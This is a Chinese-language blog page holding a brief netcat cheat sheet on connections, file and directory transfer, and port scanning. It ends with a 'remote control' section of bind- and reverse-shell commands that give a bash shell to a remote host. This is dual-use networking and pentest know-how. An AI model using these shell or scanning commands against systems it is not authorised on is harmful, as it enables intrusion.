Binary

to be foolish,to be hungry

有的事拼命的想要忘记,到最后真的就忘了


Download the theme

Nc

nc

基本通讯

server: nc -lp port 监听port ,等待连接

client : nc -nv ip port 连接服务器端

文件传递

server : nc -lp port < file -q 1 把文件放到port 等待连接的客户端下载

client : nc -nv ip port > file 连接服务器下载文件

或者

server : nc -lp port > file 等待连接的客户端上传文件

client : nc -nv ip port < file 上传文件

传目录

思路:先打包再传递

tar -cvf - file | nc -nv ip port

nc -lp port | tar -xvf -

端口扫描

参数 z 默认无TCP,加上u 为UDP扫描

nc -z -nv ip port

nc -zu -nv ip port

远程控制

nc -lp port -c bash

nc ip port

或者

nc -lp port

nc ip port -c bash

最近的文章

Python多线程 N部曲(2)

第二曲一个小栗子# 多线程实现红绿灯# 红灯绿灯亮5秒import threading,timeevent_flag = threading.Event() # 创建一个 Event() 对象def lighter_status(): time_point = 0 # 记录时间 while True: if time_point < 5: event_flag.clear() # 清空 flag,代表红灯 ...…

继续阅读
更早的文章

Python多线程 N部曲(1)

第一曲简单使用# 方法一 import threadingimport timedef func(id): print('threading:%s' % id) time.sleep(2) print('%s done...' % id)t1 = threading.Thread(target=func,args=(1,)) #创建线程对象 t2 = threading.Thread(target=func,args=(2,))t1.start() #启动线程...…

继续阅读